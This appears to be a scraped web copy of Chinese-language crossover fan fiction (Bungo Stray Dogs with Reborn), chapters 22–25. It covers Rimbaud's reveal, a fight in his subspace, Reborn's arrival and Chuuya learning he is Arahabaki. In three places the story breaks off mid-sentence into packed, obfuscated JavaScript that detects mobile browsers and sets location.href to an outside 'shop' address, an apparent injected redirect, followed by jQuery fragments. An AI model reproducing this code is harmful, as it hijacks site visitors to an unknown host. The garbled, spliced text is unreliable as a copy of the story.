l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282539|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呀,好像兰堂先生还不认识呢,那我来介绍一下吧,这位是之前小姐专门拜托的,帮忙照料先前那家点心店的芥川少年。也算是小姐的……‘重点发展对象’?” 空气在这一瞬间凝固了。 兰堂望着太宰治,那张总是温和的脸上,此刻没有任何表情。 太宰治清晰地看到,他的双颊用力鼓动了几次,仿佛在宣泄什么,神色一片冰冷: “太宰,你真的非常、非常聪明。” 太宰治望着他,鸢色的眼眸里没有恐惧,依旧是那份仿若可以洞彻一切的打量: “所以呢?兰堂先生打算在这里杀了我吗?” 兰堂的手悬在半空中,暗红色的光芒在他指尖流转。 他看着太宰治那双平静的眼睛,脑海中却浮现出另外的画面—— 这个孩子第一次出现在他们面前,那时他比现在更瘦弱,黑羽结衣介绍他介绍的不情不愿,之后的日子里,他也确实搞得家里鸡飞狗跳,说些不着边际的话,做些让人头疼的事,把中也气的跺脚。但每次遇到真正的危机,他也没有退缩过。 这个孩子……也是“家人”的一部分。是作为“兰堂”的,难以割舍的记忆的一部分。 “兰堂先生。” 太宰治忽然开口,声音很轻, “你的手在抖。” 兰堂没有说话。 “你在犹豫。” 少年鸢色的眼眸直直地望着他, “这说明你并不想杀我。或者说,你还没想好要不要杀我。” 兰堂依旧没有说话。暗红色的光芒在他指尖流转,却始终没有进一步的动作。 他顿了顿,嘴角勾起一个弧度: “要我帮你想想——如果你杀了我,接下来会怎么样吗?” “小姐会立刻发现我不见了。她会来找我。她会查到最后的定位在这里。她会看到你的亚空间残留痕迹。她会知道是你杀了我。” “然后呢?她会怎么对你?” “中也会怎么对你?” “乱步君会怎么想你?” “与谢野小姐呢?” “你七年来建立的一切过去——那个‘家’,那些‘家人’——会在一夜之间全部崩塌。” 太宰治的声音越来越轻,却重若万钧, “你准备好承受这一切了吗,兰堂先生?” 房间内陷入了死一般的寂静。只有窗外隐约传来的风声,和远处擂钵街那些若有若无的嘈杂。 “人的本性并不会突然改变,在这七年的相处中,你也并没有到要对自己的家人突然转变态度的契机。如果真的有的话,也就是那次,因为……” 太宰治顿了顿,声音变低, “因为担心我落入异常区的失联而异能爆发,造成的记忆恢复吧。这份之前从来没见过的能力,也是在记忆恢复后重新掌握的,是吗?” 因为对家人的担心爆发了自己的潜力,却因此找回了过去的记忆——甚至要对当年关怀的对象痛下杀手。 ……简直像个笑话。 那在空中不可见的咆哮逐渐平息。 22.战斗 “即使如此,和我扯上关系并不是一件好事。” 兰堂漂浮在空中,低头看着他, “看在过去的份上,最后一次,太宰,现在就离开这里。然后将这件事当做你的秘密,永远按在心底——这不是你的拿手把戏吗。” 太宰治只是站在原地,双手依旧插在口袋里,望着周围那暗红色的风景,突然问道: “很少有人的异能能覆盖这么大的一片区域,我现在可是好奇心被提起来完全得不到满足的状态啊。秘密这种事,一知半解可是完全没有效力的。兰堂先生,就当是满足我那不休止就会追逐下去的好奇心吧——你到底是谁?” “我是谁?” 兰堂重复了一遍,然后轻轻笑了, “从前的我,是为了窃取敌国的先进情报而选拔出来的异能谍报员。七年前,我因为任务潜入了这个国家,之后——” “等等,等等,” 太宰治不可置信地问,脸上的表情难得露出一丝裂痕, “你说欧洲的异能谍报员?那个全世界只有数十人,有着最高位异能的超越者级别的异能者集团?兰堂先生,你……” 能让太宰治露出这种表情,本身就是一件极其罕见的事。 “也是呢,重新自我介绍下,” 兰堂取下并不存在的帽子,放在胸前行了一礼, “我的名字是兰波,阿蒂尔·兰波,能力名是彩画集。如你所见,这个空间便是我能力的一部分。在这个空间内,我即是主宰,可以操纵这片空间,包含在其中的万物。太宰,你的异能固然是所有异能者的天敌,但那样的前提是你需要触碰到我。所以,也不要做无谓的努力了。” 最后的那句,也是对着在交谈期间依旧警惕地操纵着异能的发尾发白的少年说的。在他们交谈期间,少年一声未吭,却悄无声息地对亚空间的边缘下手。 太宰治夸张地按住了头: “您这样大资历的前辈来这种穷乡僻壤,还真是闻所未闻啊。想必那个任务也一定是一般人都难以企及的目标吧。” “……就算我说没有,你大概也是不会信的吧。但那些已经是过去了,如今的兰堂,在在籍册上也只是一个消失的名字,既无归处,也无目的,仅仅是个…幽灵,或者叛徒,随便你怎么定义。” “如果真像你这么说的一样,你就不会这段时间一直停留在擂钵街进行调查了,不是吗?兰堂先生一直说自己对任务并不在乎,恰好,我知道两个和擂钵街相关,又失去记忆,兰堂先生又不愿意对他们下手的人。” 兰堂移开视线。 “那不重要了。失忆后我给自己取了新的名字兰堂,我本以为会这么持续下去。只是最后,我慢慢想起了一些事。我的国家,我的组织,我的……” 他停顿了一下, “我的搭档。” “搭档。” 太宰治若有所思地重复了一遍。 “是的。一同参与任务的搭档,我的亲友,和我一同跨越了众多危机的同伴,名字是保尔·魏尔伦。” 兰堂,不,现在应该说是兰波的声音变得更低,像是在回忆一个遥远的梦境, “爆炸损伤了那部分的记忆,那时的事我已经完全想不起了……他究竟消失去了哪里?是在爆炸中死了吗,还是说依旧活在某处呢?为了弥补那份空白,弥补对他的——我会继续去寻找的。” “原来如此。” 太宰治终于开口,声音很轻, “过去的搭档和现在的家人啊……那么我只剩下一个疑问了。你在那天晚上先后和中也以及结衣小姐单独相处,但实际上,你动手的对象只有那个小矮子,最后还是放弃了。他有什么值得在意的地方吗?还是说,结衣小姐在你心中的地位更高一些?” “和那种家庭伦理剧的理由不同,只是……不,没什么。” 兰堂似乎在顾虑着什么,对那真实的原因闭口不谈,随后,视线转向了亚空间内的另一个人,芥川龙之介。 然后—— “砰!” 一声闷响! 少年被无形的波动直接撞上了地面,滚了几圈飞了出去。 “听到了那些,你应该有自知之明,是不可能平安无事地离开了。正好,我对你的异能也很感兴趣,这里也恰好缺少一个异能生命体……” 紧接着,又是四面八方的无形冲击。 恢复了大部分记忆的兰堂神情更加冷漠,芥川龙之介一次次被击中,一次次倒下,又一次次挣扎着爬起来。苍白的脸上沾满了灰尘和血迹,呼吸越来越急促。 又是一次冲击。 这次,他终于没能及时闪避。 就在那无形的力量即将击中他面门的瞬间—— “罗生门!” 黑色的布料如同活物般从衣角涌出,瞬间在他面前交织成一道屏障。 “轰!” 冲击撞在那道黑色屏障上,发出沉闷的巨响。 芥川龙之介单膝跪地,大口喘息着,但那双眼睛死死盯着空中的兰堂。从未使用过异能防御的他,在这一刻,彻底学会了防御。 “哦?比我预料的还有意思,异能体最大的问题就是无法自我进化了,只是可惜,今天你不可能……” 他的话没有说完。 那暗红色的世界边界突然出现了一道缝隙。 是“罗生门”。本体只是柔软的布条,却能在瞬间爆发出足以击溃空间边缘的力量。 尽管下一刻,那道裂缝就开始自我修复,但那一瞬间的爆发,已经足以让人看清这个少年的异能所蕴含的惊人的潜力。 青年眼底闪过一丝欣赏,再次抬起手—— “兰堂哥——!” 在那破碎的缝隙中,一道身影从中闪现出来。 青年的手就那么僵在了原地,看着那熟悉的身影将少年挡在身后,脸上写满了不认同, “住手吧,兰堂哥。现在的话还来得及。” 暗红色的光芒在他指尖流转,却再也无法向前一步,兰堂神情复杂: “结衣,为什么……” “唔,那是因为我早就联系了小姐啊。” 一个懒洋洋的声音打破了这片寂静。 太宰治不知何时已经走到了黑羽结衣身侧,双手插在口袋里,脸上挂着标志性的笑容。他从口袋里掏出手机,亮着的屏幕上,一直在连线的通话界面清晰可见。 “自从进来之后没多久,我们就一直在通话中了。” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286648|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晃了晃手机,鸢色的眼眸里满是恶劣的笑意, “不可能看着自己的家人深陷危机,日常又异常细心的小姐,怎么可能一点后手都不做呢,这么简单的事,兰堂先生没有想过吗?” 青年张了张口,沉默了。 “但是,比我预想中要晚一些啊,结衣小姐,我还以为你对芥川少年完全不在乎呢。” 黑羽结衣听到这句话有些牙酸,先把身后的人扶起来,确认他暂时没有生命危险才回答他: “不是,事实上我又回了一趟旧宅,找到了些东西……我想兰堂哥不会一点资料都不留全部带走,事实上,我猜的没错。” “哦?我关心的世子之争这下终于要出结果了吗?是你们谁赢了?” 少女一噎,那股郁气卡在胸腔里不上不下,她瞪了对方一眼,转而抬起头对兰堂喊道: “我觉得我们需要好好谈谈。” “没什么好说的了。” 兰堂低声说,移开视线, “我放过了中也和太宰,就此为止吧。” “我可没说要停,” 黑羽结衣试图扯了扯嘴角,发现根本徒劳无功,于是她放弃了,周身开始爆发起炫目的白光, “我是港口mafia的首领,你是我的下属,也是我当初建立雇佣关系的对象,就这样一走了之?想都不用想,中也或许不清楚发生了什么,但我是一定会将这笔账讨回来的!” 就在她话音刚落的瞬间,少女的身形已经完全消失在原地,下一秒就出现在了空中,与这片空间的主人正面交战。 刺耳的轰鸣在他们头顶爆发。 “喔——看来是真气疯了,怨气好重啊。” 太宰治手搭在眼前,明明身处这么危险的空间,他似乎像是在郊游一样根本没有危机感,还有空关心看起来有点死了的芥川, “你是她拜托的吧?会怨恨吗?以你的异能,你本来不会在这个时机受重伤的。说不定就会因此而死掉哦?” “在下既然与她做了交易,咳……就没有反悔的余地。” 芥川龙之介抬起眼,擦了擦嘴角的血迹,沉声说, “但你们的同伴,咳,似乎也并没有多……” “砰”地一声,少女的身影从空中直直撞了下来,砸在他附近的地面上,溅起一阵尘土,久久没有动静。 好强。 简直强到离谱。 就算是中也来结果也是一样的吧?她甚至能感觉到对方已经在手下留情了。 真是不像话啊……明明是想阻拦他,彻底把这件事搞清楚的。 “你希望阻止他吗?” 一个稚嫩的童声突然从她脑后传来。 “那是当然的事了,他是我的家人啊。” 在发现那些资料之后,这份心情变得更加强烈。 黑羽结衣下意识地回了一句,随后突然意识到有什么不对劲,一回头,就与一个婴儿高度,穿着西装的小孩子对上了眼。 “小孩子……?为什么会在这里?” 她甚至自己都是趁着芥川龙之介打开异能空间的那个缝隙钻进来的——这个空间应该完全封闭才对,为什么这里会突然多出一个小孩? “ciaos~” 23.家庭教师 那婴儿抬起小小的手,朝她挥了挥,从废墟的高处一跃而下。 “因为我欠了一个不得不还的人情。” 豆豆眼里毫无波澜, “本来是打算先观察一下我的新学生,再做针对性的方案的。没想到恰好在半路上遇到她慌慌张张的模样,就好奇心爆发,跟了上来。” 黑羽结衣的嘴巴慢慢张大。 “你就是……那位家庭教师!?” 她震惊了。 小婴儿点点头,做了个简单的自我介绍: “叫我reborn就好。因为欠了那个家伙人情,所以前来做你的家庭教师。虽然想考验的事还有很多,但最重要的果然还是面前的紧急情况吧,那个人是你的家族成员,对吧?” “……这个说法倒也没有错。” “事情的前因后果我在路上就知道的差不多了,也就是家族成员的矛盾。我有一个问题,你想要将你的家族成员带回来的决心,有多强呢?” 黑羽结衣不太明白对方的意思,歪了歪头: “……非常?” “拼死也要达成?” “呃,这位reborn……小朋友,你说的言辞有点奇怪,不过差不多,如果可以的话,我确实想尽一切努力,让他留下来。” 话音未落,趴在对方帽子上,看上去就像是什么装饰品的绿色蜥蜴突然变了形状,在小婴儿的手中化作一把巨大的绿色锤子重重砸在了她的头上: “我教给你的第一课,对你的家庭教师要懂得尊重!” “是……对不起……” 究竟为什么会突然走到这样的局面呢,黑羽结衣揉着疼痛的脑壳思索道,远空中,兰堂兰堂悬浮在半空观察着这里,似乎有要离去的打算。 reborn顺着她的目光望去,嘴角勾了起来,他单手将帽檐压低: “你有这样的决心,那就好说了。” 欸? 紧接着,黑漆漆的枪口对准了她,随后下一秒—— “砰——”! 暗红色的亚空间内,在那一刻失去了全部的声音。 没有任何人阻拦,或许说,没有任何人想到要阻拦。 没有杀意,也没有前情提要,就连黑羽结衣本人都没有反应过来,在那极近的距离内,少女发动异能的光芒才开始闪烁,那枚子弹已经没入了她的胸口。 太快了。 兰堂瞳孔骤然缩起。 他本来以为两人认识,在那个小婴儿说出家庭教师那几个字的时候,他还回忆起过去那些独自摸索着学习的日子,暗自舒了口气。他正想趁着他们聊天的机会,彻底离开这里。 就在他分神的那一刻—— 那个小婴儿掏出了枪。 没有杀意。没有任何预兆。平静得仿佛只是上街买菜那样般日常。 然后,他按下了扳机。 ——且少女没能躲过。 那一瞬很快,但在他眼里,却仿佛慢动作回放。 太宰治也同样震惊地看了过去。黑羽结衣被那巨大的冲击力撞的向后倒去,由于穿着黑色的西装,一时间根本看不清楚血迹。 “你竟敢——” 青年掩饰不住的杀意蔓延了出来, “竟敢……对她做这种事?!” 几乎是瞬间,整个空间的压迫感变得异常强烈,且充满指向性。在今天如此漫长的时间内,这还是第一次他真切地对某个人起了杀意。暗红色的空间上方看不见的空气在啸叫着,砂砾碎石纷飞,仿佛世界末日。在那一刻,站在地上的人感受到了自己的渺小与自然法则的伟力。 那是属于“超越者”的力量。 但那漆黑的豆豆眼依旧平静: “传说中的超越者,还真是名不虚传。” reborn的声音轻飘飘的,敏捷地躲过了突然爆发的攻击。 太宰治已经冲到了黑羽结衣身边,想要去观察少女的情况,但就在他即将伸出手碰到她的那一刻,本来倒在地上的黑羽结衣动了。 她的眼中全是空洞,失去了焦距,直直冲向兰堂: “拼死……阻拦你!” 少女周围的空间出现片片碎裂,那是异能过量使用的表现。不管是在失忆后,还是在失忆前,她从来都没有展现过这样的异能强度。 似乎是已经失去了自身的意志,仅保留着某个执着性的念头,少女表情呆滞地冲上前,下手毫不留情。兰堂不想伤害到她,又担心她现在的情况,一时间艰难地招架着,陷入了焦灼状态。 “你对她做了什么?!” “只是简单的特殊弹而已。” reborn单手压了压帽檐,嘴角勾起一丝笑意。他轻巧地躲过几道飞溅的碎石,语气里带着一丝嘲讽, “我还以为有多麻烦……看来也不过如此。” 兰堂想要说些什么,但少女的攻击已经再次逼近,她明显处于精神异常状态,一时间青年自身束手束脚,唯恐伤害了对方,还要分神去应对reborn冷不丁的子弹以及芥川龙之介的伺机偷袭。 哪怕试着用异能束缚住,下一秒,银白色的光芒就彻底撕裂了那暗红的方块。而reborn的射击更是不分敌我,简直像是完全不在乎会射中谁一样,导致了兰堂一边防御黑羽结衣的攻击,一边还要凝神帮她挡住攻击。 看着乱成一团的战局,太宰治站在原地,没有动: “兰堂先生,试着把小姐引诱过来,我来帮忙吧。” 长时间过量使用异能,会对身体造成极大的负担,这里的几人都很清楚这件事。不能再这样下去了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291075|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兰堂应了一声,开始有意识地引导着她的攻击向太宰治的方向移动。 就在两人即将到达太宰治身边的瞬间,兰堂用不伤害对方的手段,终于暂时制住了黑羽结衣。他的双手从背后环抱住少女,将她禁锢在怀里,同时朝太宰治喊道: “现在!” 太宰治伸出手。在那刹那间,仍旧在挣扎的黑羽结衣在兰堂看不见的方向睁开眼,眼神清明的可怕。下一秒,她猛地抓住太宰治伸过来的手,借着那股力道,一个利落的转身,将少年直接砸在了自己身后的兰堂身上。 “什么——?!” 青年的异能顿时消失无踪,暗红色的亚空间如同潮水般褪去。下一刻,reborn的子弹也精准地向这边射来! 黑羽结衣手微动,银白色的光芒一闪而过,那枚子弹的轨迹从她面前消失,径直没入了兰堂身体内。她又不知从哪里掏出一把麻醉枪,子弹加上她的异能,在发射初期就已经没入了青年的后脖颈。 这几件事只发生在电光火石之间,稍微失去了戒备心的兰堂被接二连三的攻击打得措手不及,而太宰治死死地按着他,让异能也无处发挥。就在那份是否该对面前的少年下狠手的犹豫中 ——兰堂的眼神逐渐涣散,身体软了下去。 这一切只发生在电光火石之间,从黑羽结衣睁眼,到三人配合,兰堂倒下,前后不过十几秒。暗红色的世界退却后,映入眼帘的是熟悉的擂钵街那些破旧建筑群。以前觉得带着铁锈和腐朽气息的风,现在闻起来也无比亲切。 亲自确认了对方陷入深度昏迷,黑羽结衣这才松了口气,有空询问reborn: “你刚刚射击的子弹是什么?” “对你的是死气弹,对他的是强力麻醉,不过你也给他补了一针,也不用担心他暂时会醒来了。” reborn嘿咻一声,从断壁残垣中跳了下来,迈着小短腿走到兰堂身边,饶有介事地围着他转了一圈, “传说中的超越者……比预想中还要难对付,好在只要是人总是有缺点的。” “这位是小姐认识的人?刚刚还真是吓了我一跳呢。” 太宰治一直在打量着对方。 小婴儿脱下绅士帽,做了一个标准的鞠躬礼,手枪在变换中化成一只绿色的蜥蜴,落在他肩膀上: “重新做个自我介绍吧,reborn,应一位朋友的请求,来做你的——不,是你家族的家庭教师了。” 本来应该会是一场残酷严肃的战斗,甚至走到决裂重伤的地步也不是不可能,但是不知为什么,似乎以类似于闹剧一般的方式突然落下了帷幕。 这一切,都该归功于面前这个穿着西装的小婴儿。 黑羽结衣弯下腰,向他伸出手: “请多指教,reborn……先生。” 24.无法言明的理由 紧绷的神经一旦松懈,疲惫感就迅涌上了心头。刚刚在强烈的激素,或者说是什么据说能激发人的潜能的“死气弹”的作用下,黑羽结衣觉得自己还能再战两小时,但当那阵肾上腺素消散,最先感受到的就是肌肉的疼痛与浑身无力,像是被什么掏空了一样。 她甚至都没来得及顾得了自己的面子,一屁股坐在了地上。 太宰治环顾四周的惨状,问出一个最核心的问题: “我们该怎么出去?” “我……” 黑羽结衣刚想回答自己休息一会就好,但看着面前四个人,又迟疑了, “你行吗?” 总不能在这种时候,去依赖一个真的和小婴儿一般高的新家庭教师吧。 太宰治顺着她的目光,看了看重伤的芥川龙之介,过度使用异能后遗症已经倒地不起的黑羽结衣,昏迷的兰堂以及还没他小腿高的reborn,然后他歪了歪头,用一根手指很可爱地指了指自己: “我吗?” 黑羽结衣用饱含期待的目光注视着他。 “老弱病残幼携手走出横滨最危险混乱的地区吗,有趣~” 太宰治笑容满面,双手一拍, “嗯嗯,听起来是一场比刚刚还要有意思的战役呢,时间限制就到那位芥川少年流光身体里的最后一滴血为止好了——正好是死线呢~” “……这是在嘲讽我吗?” 她转过头,把期待的目光投向reborn。 不管怎么看,对方都不应该只是一个小孩子才对,难道是有什么奇怪的异能吗?像那只蜥蜴一样可以随意变幻什么的? “不要欺负老年人。” 小婴儿一本正经地将手背在身后,一股老气横秋的架势, “事到如今,想着向家族成员隐瞒这件事也是无济于事的吧,你们总要解决这个问题的。” “但……” “如果小姐想要提出其他下属来接的话,首先擂钵街的核心地区这里根本无法开车进来,另外,小姐难道希望这件事被更多的人知道吗?” 黑羽结衣沉默了。 两秒后,她掏出手机。 “……我知道了。我这就联络中也,拜托他过来。” 她一边拨号,一边用半月眼望着面前的两人, “你们明明是才刚结成的同盟吧,这默契度有点太高了?” 不知为何,被她提到的两人同时露出了非常不愉快的神色。 中原中也比预想中还要快的赶到了现场。他来的时候,黑羽结衣正靠在一堵不能被称之为墙的建筑上,偏着头听那边太宰治和reborn一言一语,夹枪带棒,针锋相对,笑里藏刀的互相试探。 另一边,浑身是血的芥川龙之介闭上眼睛坐在那里,一点声响都没有,胸口起伏微弱得几乎察觉不到,让人忍不住怀疑他是不是还活着。兰堂则被捆的严严实实,直挺挺地仰面朝天躺在地上。那姿势诡异极了,让人不由看了之后感觉自己的腰椎都仿佛发出了嘎吱的幻痛。 ……这场面比他预想的还要诡异。 “敌人呢?” 少年面色冷凝,四处环顾着,身上的红光自出现就没有消散, “那个袭击你们的家伙在哪?” “小矮子不要的眼睛可以直接捐给别人了。” 太宰治转过头,张口就是一句杀伤力十足的话, “目前倒在那被捆的严严实实的,不是只有一个人吗?怎么,换个环境就不认识你亲爱的兰堂哥的那张脸了?” “哈?” 中原中也的表情僵住了, “喂青花鱼,这种时候还要开什么不合时宜的玩笑,我可真的会揍——” 他求证般地看向黑羽结衣。 黑羽结衣对上他的目光,默默地移开了视线: “……这里不是说话的地方,先带我们回去吧,芥川君还需要紧急治疗。” 中原中也彻底败退了,但太宰治仍然没有放过他的打算: “对了,你为什么会来的这么快?” “那是因为我今天的任务就在附近——” “这个任务,兰堂先生知道吗?” 在赭发少年骤然闭紧嘴的动作中,答案一目了然。 黑羽结衣按着额头,感到身心俱疲: “总之,先回去吧。芥川君,牵连到你实在抱歉,港口mafia会负责你全部的医疗费用。如果你担心你的同伴的生命安全,在你接受治疗的期间,我也可以让部下暂时把他们接到港口mafia的员工宿舍,你觉得怎么样?” 芥川龙之介抿了抿唇,想要拒绝,黑羽结衣又不容分说地补上一句: “正好我们的家庭教师也来了,你也可以借此机会和同伴们学习更多的知识。这也是我们的交易条件,不是吗?” 似乎无论从哪个角度来看,这样的提议都是完全对他有利的。芥川龙之介在她的注视下,沉默着点了点头。 黑羽结衣的嘴角微微勾起。 成功拐到一个实力强劲的潜力之星加入组织——这点小小的兴奋,甚至能冲散一部分刚刚的烦恼。 只是,等回到港口mafia,到了要和其他人解释的时候,这份刚被她故意遗忘的烦恼,就又越发地涌了上来。 港口mafia总部,首领办公室。 江户川乱步的不满简直要满溢出来了。他坐在自己专属的秋千内,脚尖不住地点着地面,晃荡的让人眼晕。 “为什么不直接和我说啊——?!” 他的声音高了八度,充满了被排除在外的委屈和愤怒,挥舞着双手, “这么重要的事!这么——这么——!为什么不告诉我!” 太宰治靠在沙发上,视线盯着地毯上的花纹,懒洋洋地回答: “乱步君才是,这么重要的事完全没注意到呢。” 他好像心情非常差,以至于战斗力全开,对谁都是阴阳怪气的样子。 “那是因为我最近——” 江户川乱步气鼓鼓地开口,却突然住了嘴。翠绿的眼眸闪烁了一下,有什么话被硬生生咽了回去,转口道, “总之,之后绝对不会发生这种情况了!” 因为想要长时间将芥川龙之介留下,与谢野晶子自然没有参加对他的医疗。她靠在办公桌旁,一言不发,神情也堪称难看。 空气里弥漫着一种微妙的沉默。直到办公室的门被再次推开,中原中也大步走了进来,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17295879|196321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没有和任何人交汇,而是直接利落地走到办公桌前,对着主位的黑羽结衣汇报: “他还在昏迷中,那位reborn……先生说暂时会负责看管对方,他作为新来的家庭教师先不参与这次的会谈。” 他似乎想用中规中矩的语气和用词,来掩盖这场变故造成的世界坍塌。黑羽结衣也顺着他的心意,回了一句“辛苦了”,紧接着就又陷入了沉默,仿佛只剩下微弱的呼吸声。 “所以,不打算说点什么吗,小姐?相关者可是已经都到齐了。” 最先打破沉默的,是太宰治。 “……抱歉。” 她也只是冒出了这一个单词。 “不是你的错。” 中原中也站在原地,从刚才汇报完到现在,他没有再说过一句话,也没有移动过一步,就像一尊突然被冻结的雕像。但在听到那句抱歉后,他还是下意识地回答了, “没有人能想到会发展到现在的地步。” 开了头后话语就流畅了起来。他钴蓝色的眼眸落在面前自有记忆开始就相依为命的少女身上,带着一丝急切以及困惑: “但是,为什么突然……我想知道。结衣你应该知道真相的吧。” 黑羽结衣对上他的目光,沉默了片刻,随后站起身: “关于这件事,我有话单独对你说。” “小姐要说的是——” 太宰治那轻飘飘的声音从旁边传来,打断了她的动作, “小矮子被兰堂先生当作目标的理由吗?” 其他人,尤其是被那句话点中的中原中也本人,神情骤变。 那张年轻的脸上,一瞬间褪去了血色。 “……什么意思?” 他的声音很低,低得几乎像是从喉咙深处挤出来的, “什么叫‘被当作目标’?” 太宰治没有回答。他只是靠在沙发上,鸢色的眼眸望着窗外,仿佛那里有什么格外吸引人的风景。 中原中也转向黑羽结衣。 “结衣。” 他攥紧了拳, “告诉我。” “……跟我来吧。” 黑羽结衣向休息室的门走去, “是和你失去记忆的过去相关的事。” 太宰治眼神闪烁,却没有再开口打断。但中原中也跟在她身后走了两步,却突然停住了: “不能就在这里说吗?” “中也,这有关你个人的私事,是关于你的秘密,我无权代替你公开。如果你听了之后想告诉其他人,那就是你的权利了,我不会干涉的。” “我大概知道你要说什么了。是有关我的最重要的秘密,对吧?” 中原中也神情复杂, “数年前我曾将它分享给了两个人,你和兰堂哥,只不过你已经失去了这部分的记忆。所以告知在这里的其他人也没关系。对同伴要保持信赖,这是我的基本原则。” “我知道结衣你的顾虑,但这里还坐着乱步以及青花鱼,他们也绝对能猜出一部分事实——我讨厌拐弯抹角的事,所以就在此公开谈吧。” 黑羽结衣沉默地注视着他,随后点点头: “那就直接从七年前的大爆炸说起吧。” 25.过去与现在 黑羽结衣手腕一翻,那些被她从旧宅里搜出的资料便铺满了整张办公桌,中原中也离得最近,第一时间伸手去拿,与谢野晶子随后也挑了张纸看了过去,她皱起眉,金色的蝴蝶发夹在灯光下微微颤动。 “七年前,兰堂哥,或者说超越者兰波以及他的搭档奉命来横滨,掌握被封印在军部的秘密设施的能量生命体。” 黑羽结衣早就看过了这些资料,她总结着大概的框架, “然而在夺走的途中出现了意外,暴露了踪迹。兰波的异能可以将杀死的人异能化,在紧急状态下他也确实那么做了,但在那过程中产生了大爆炸,兰波失去了记忆,同时他的同伴也不知所踪。” 她视线扫过全场,几人都认真听着,离得更远的两人更是露出了了然的神色,已经明白了她所说的故事主体, “那就是造成了现在的擂钵街地形的大爆炸,在那场灾难中活下来,目睹了那一切的人们将其称为是神明降罚,并给祂取了一个代号,名为‘荒霸吐’。” “……那就是我。也是我的秘密。我的记忆和结衣与兰堂…哥不同,是仅仅从七年前的那一刻开始的。” 中原中也闭上眼,没有去看任何人的表情, “在那之前,是全然的黑暗,是一双从黑暗中伸出的手打破了封印。那双手解放了我,将我从黑暗中带了出来。我以前一直不知道这代表什么,但现在我清楚了,那就是兰堂哥或者他的搭档中的某个人吧。” “不管因为哪件事,我都应该感谢他才对。” 他苦笑了一声,长长吐出一口气,像是要吐出胸口所有的郁结一般,随后看向黑羽结衣, “荒霸吐究竟是什么?” “……没有人知道。在那场爆炸后,关于相关的实验场所和数据全部被爆炸销毁了,他恢复记忆后的调查时间并不长,暂时没有找到任何可证明的实验记录。” “军方实验、能量生命体……听起来也就是那样吧,其实并不是人类、何况我也确实早就有了预料。” 一向高高昂着头的赭发少年低下头,不想让自己的同伴看到自己如今的表情,自嘲般轻笑了一声, “实验品啊。” 全场都陷入了沉默。 “什么嘛,你们那种仿佛在对马上要死的人进行临终关怀一样的表情……我早就猜到这个结果了。” 是的,其实他早有猜测,语气带着刻意的轻松, “普通人是会做梦的,对吧?但我不会。所以你们会以为这种事能对我造成多大的冲击吗?开玩笑,怎么可能、我早就、很早以前、就做好了心理准备呢。” 这样的人是不会用这么多相似的词汇来反复证明这件事的。 黑羽结衣欲言又止。 “也是呢~” 太宰治歪着头,一根手指抵着下巴,做出思考状, “小矮子的智商看上去完全不像是实验的结果嘛。要我是研究人员,绝对会以聪明为第一要务的。但小矮子就……” 他上下打量了对方几眼,露出个欠揍的笑容, “不仅如此,连身高也很没品味啊。真不知道他们是怎么能传出这是神明的流言的,连一米六高都没有的神吗?那很难吓到人了。” 中原中也的怒火瞬间被熟悉的配方点燃: “喂,青花鱼,你是想挨揍吗?” “我只是说出了实话而已,看看这暴脾气,哎呀,真是搞不明白,说不准是当时搞错了吧,就你这个样子,也完全不像是什么顶尖科技集于一身的感觉啊——” 中原中也的拳头攥的嘎吱嘎吱响,狞笑着站了起来。而江户川乱步就更不在意了: “神明的话应该要有更有用的能力才对吧!中也有这么炫酷的身份,那能不能直接给我变出点心呢?” “就没有那种能力吧!” “说什么呢,向各类土地神啊食神啊之类的道歉!明明是超级有用的能力,我超级想要好吗?!天天都有新鲜出炉的点心,想吃什么有什么——” “你这是许愿吧!荒霸吐可不是什么神,只是一个异能实验——” “不都一样的吗!反正大家都这么说!” “都别吵了,让我砍一下研究研究——” “住手,晶子,不对,刚刚你是把电锯藏在哪里了——!” 混乱产生了。 但这次的混乱黑羽结衣并没有打断的想法。她看着已经打闹成一团的少年们,眼底漾开笑意。然而此刻,最开始搅浑水的麻烦精大概是被中原中也追着跑实在抵不住了。于是举起了手: “提问~小矮子的事,听起来也没有什么意思嘛。不过,在这个故事中,小姐又是什么样的身份呢?” “……” 是的,目前的故事中,没有黑羽结衣的出现。 这下他成功的转移了要来揍他的中原中也的注意力。如果按照兰堂之前的说法,他们去的地方是非常机密的军用研究机构,那黑羽结衣的身份似乎也不会差太多,研究者或者被研究者之一,但考虑到她的年龄,后者更可信些。 中原中也想到这一茬之后,脸上的怒气褪去,换上担忧: “不过,也可能是意外……” 